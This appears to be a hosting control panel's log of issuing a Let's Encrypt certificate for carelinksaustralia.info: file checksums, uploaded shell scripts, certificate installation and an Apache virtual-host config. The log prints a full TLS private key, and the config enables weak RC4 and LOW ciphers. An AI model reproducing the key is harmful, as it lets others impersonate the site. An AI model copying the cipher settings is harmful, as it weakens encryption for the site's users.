MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-09 11:17:54: Establishing a connection
2025-10-09 11:17:54: Establishing a connection
2025-10-09 11:17:54:
PUT: /tmp/pkp771567
#!/bin/bash
if [ -d "/var/www/carelinksaustralia_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-09 11:17:55:
chmod 755 /tmp/pkp771567; /tmp/pkp771567; rm /tmp/pkp771567
2025-10-09 11:17:55:
1
2025-10-09 11:17:56: Establishing a connection
2025-10-09 11:17:56:
PUT: /tmp/pkp949231
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cat > igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4
2025-10-09 11:17:56:
chmod 755 /tmp/pkp949231; /tmp/pkp949231; rm /tmp/pkp949231
2025-10-09 11:17:56:
2025-10-09 11:18:01: Establishing a connection
2025-10-09 11:18:01:
PUT: /tmp/pkp183479
#!/bin/bash
mkdir -p "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
cd "/var/www/carelinksaustralia_www/.well-known/acme-challenge/"
rm igup75GHVtzzkM6047Ci_bqNOBoMqFCIh6i-39PB2D4
2025-10-09 11:18:01:
chmod 755 /tmp/pkp183479; /tmp/pkp183479; rm /tmp/pkp183479
2025-10-09 11:18:01:
2025-10-09 11:18:01: Establishing a connection
2025-10-09 11:18:01:
PUT: /tmp/pkp349583
#!/bin/bash
temp_file=$(mktemp)
TARGET=01bea5c16e52f9c5f2fcf9fea9a569f2.crt
cat > $temp_file <<'endmsg'
21:03:60:73:69:20:19:5a:2e:d2:79:96:5b:57:94:3f
-----BEGIN CERTIFICATE-----
MIIFCTCCA/GgAwIBAgISBroQFSy3DXAJhj0iOpYAjfcDMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA5MTAxOTMxWhcNMjYwMTA3MTAxOTMwWjAiMSAwHgYDVQQD
ExdjYXJlbGlua3NhdXN0cmFsaWEuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBAOLYaj5wmV+oUiXkuQMjwDNB++vwX7U0QK5niWvwV+cxvF4WKjHL
r6vn4HqE4q4EzERKIirHlH1Uf3Z0ASEZjX4cYxsHX+T8Yz702TaWG5EG2ER+jsc+
GmWk6s5Eo9vfL3yQx5YfPPvcSAFXoP8KdMvD7IMNNiVrx2jdmPwMXf6ypvzlSXR2
JcKZVTGQRgpRlXLvDVY7UkqcR6/XCCWnQnbHoBCoTaEvc+RG1wAMHbfXWB9TC6nV
QON4QG4vgbOTOKaaZsetFVPGTxFzU4r+oCwAUxypHxS058ueM7cnaoEyMGED+arH
/3BjazKLAcQbsUFnjNRFdAQFZAKeTKkEjRcCAwEAAaOCAiYwggIiMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUrH86LHHv9SF5d312SyLsIyn84jQwHwYDVR0jBBgwFoAU
ALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdjYXJlbGlua3Nh
dXN0cmFsaWEuaW5mbzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKg
IKAehhxodHRwOi8vcjEyLmMubGVuY3Iub3JnLzQuY3JsMIIBBAYKKwYBBAHWeQIE
AgSB9QSB8gDwAHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7VA8l9zfAAAAGZ
yLE23QAABAMARzBFAiEAkgR7XTyxLedPjdDAcNigDAmL3wcjNYvWka6QV8LW4l8C
ICOL+DLCt3VhRZe21a/xpJSglYy59o5TXssCFAtNFZWgAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGZyLE3AwAABAMARzBFAiANcUZxd/eZE3v3
jdy0lqykU7rVG6uu2oiDPI3XcGW0EAIhAMUa32XDhQTFvDxWihTuWjr8Ncia9ATy
qrTtH+xqorARMA0GCSqGSIb3DQEBCwUAA4IBAQCiaagkAJsOHrzKWC3LHq3DjFVl
sDdClIVdzB/2W1ZgLrCZSJ/bCS5ObjjREy98LhRBzdFW45TVTWtKlBOS+U1O50qx
FjVeOz4Tv38CoiUK3D7PaZDhhCfrX3C5jkkmkKZ9aaDOEBmi0SBCm+c4XBbV60SK
NXuEZ3qr9Yw1kSC+6we6PgHbI/uaBVAGlOwclyOrkkGFnkkAMwONYhPGWo8vqpjY
avu7HNr5XVqr/A0C09VK3zAUuhLW/n+WU2NfjQqSy2bxvfMn5ZeKOCZ7jpiYenIz
lPEFlxOSjVpQzW4lYG0q28Gh0MvBIURqeXNztSFRc6HaGefFALJovBUaw/xW
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDi2Go+cJlfqFIl
5LkDI8AzQfvr8F+1NECuZ4lr8FfnMbxeFioxy6+r5+B6hOKuBMxESiIqx5R9VH92
dAEhGY1+HGMbB1/k/GM+9Nk2lhuRBthEfo7HPhplpOrORKPb3y98kMeWHzz73EgB
V6D/CnTLw+yDDTYla8do3Zj8DF3+sqb85Ul0diXCmVUxkEYKUZVy7w1WO1JKnEev
1wglp0J2x6AQqE2hL3PkRtcADB2311gfUwup1UDjeEBuL4GzkzimmmbHrRVTxk8R
c1OK/qAsAFMcqR8UtOfLnjO3J2qBMjBhA/mqx/9wY2syiwHEG7FBZ4zURXQEBWQC
nkypBI0XAgMBAAECggEAMD2XsnmdlEMmXRqb4bgLmprwqQcwQ0e+bZhlGAg/mVHx
XgzWokpPrH4eNc/mqN0qV2dwhqp0wIZkqNsYlmJpvaTpyoix8u9dZ7kILFyVtiy/
dyl20ZY6ZN1CdeUQ96Qp5BKh7yHrhSAeS/LHsRUXK3IZ7PC1UBXwjTN64jb7Ejuj
WI61nlvATRNZNBaGG7heqqbvoVao88wHiWr4fw8EAgRXt1lTexVqX+OchUssJQ8e
bKHxfM7Dfa9aOgGTNFI1iYJ2ySITDkmh9P+IsqSthWtqz3QYuJydJPN8Gz9vnuS6
LjLmMzGukw/JhD1blehvKrWFR6FbIc+2ezvGoW0eEQKBgQD0Aarwg/72Qwwou9LI
y4WmuEvzsSMPj7Dn9A+7k4XtMtHF09JhH4U8iCpXCPaHlMUOzejiCGPWQYFGShIm
UAZ9XHvjwwPHrsjhRbwHPqw9x6noNSpsaoMkKrHcBuyIbPPqLX5rUJzDuGf+rer3
SLbce81sONNYsWGZWuHzSOpzOQKBgQDt/s8JQY4dkusMnpixm+pcoGoUXj4czzeB
NflWDGF0sXKiPPakG/YNA96zfX3IPd21DZeHwTc4VPL0wKdRZfwxiCri+2NMR1El
vlECmdkKNB8pS3nFoFfBI3SnNcITpjXXfxZ08nHh3YU7LhzIpRb3W115p4CHv4x6
DkgZIzJyzwKBgCnwH3E3PpsU6wIVRiU81bvR8TvxNhV2nPFBAXM758jc8zENNxt6
T2wX+y76W2TyLOxed6hhyMcKey2ZjYUIPBVPz/tViVDIub3+PlMAcportwgyGxiH
NgMBU5B9oCnSkBmvuAq50DfTegxL2BaoaMV8gdIX8jtMQXoaJLurzKABAoGAOHkR
KZIbpdrZ2Xm8o9BqcSZDZafjNzTYZ9ml24w+h9EfcW3j3Jch8H6tlou9kAlWFYMv
JLBtaPmHWRpp2X/IsvwrqQabzlrR35HkaSiWfrxVdJgLQiDFEfhW0uKHtd/nwMXQ
T1nEOiM1XRCZFedOps1QRfDAJ/YE4GWJKCXY77MCgYAUsglfhIY8AqK0e2Eh/GhP
ew9zY7rG1NCSDgV5aRenJTdaMi0LiB2oiXZcH/h3jjO80yr/VhN518U2sqhQnnwu
Zlh7PePmG3FAfTfxeMkaBy5RFtPIvo1+ZQa2nQhV2rjPShJ1hy7i60NaIMExnA8v
rQcmm3N6GZzO4qoyyznIuQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-09 11:18:02:
chmod 755 /tmp/pkp349583; /tmp/pkp349583; rm /tmp/pkp349583
2025-10-09 11:18:02:
dir=/etc/ssl/certs
2025-10-09 11:18:02:
PUT: /tmp/pkp746642
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-09 11:18:02:
chmod 755 /tmp/pkp746642; /tmp/pkp746642; rm /tmp/pkp746642
2025-10-09 11:18:02:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf 51
<VirtualHost *:80>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/carelinksaustralia/www_access.log combined
ErrorLog /var/log/apache2/carelinksaustralia/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName carelinksaustralia.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/01bea5c16e52f9c5f2fcf9fea9a569f2.crt
DocumentRoot /var/www/carelinksaustralia_www
<Directory /var/www/carelinksaustralia_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
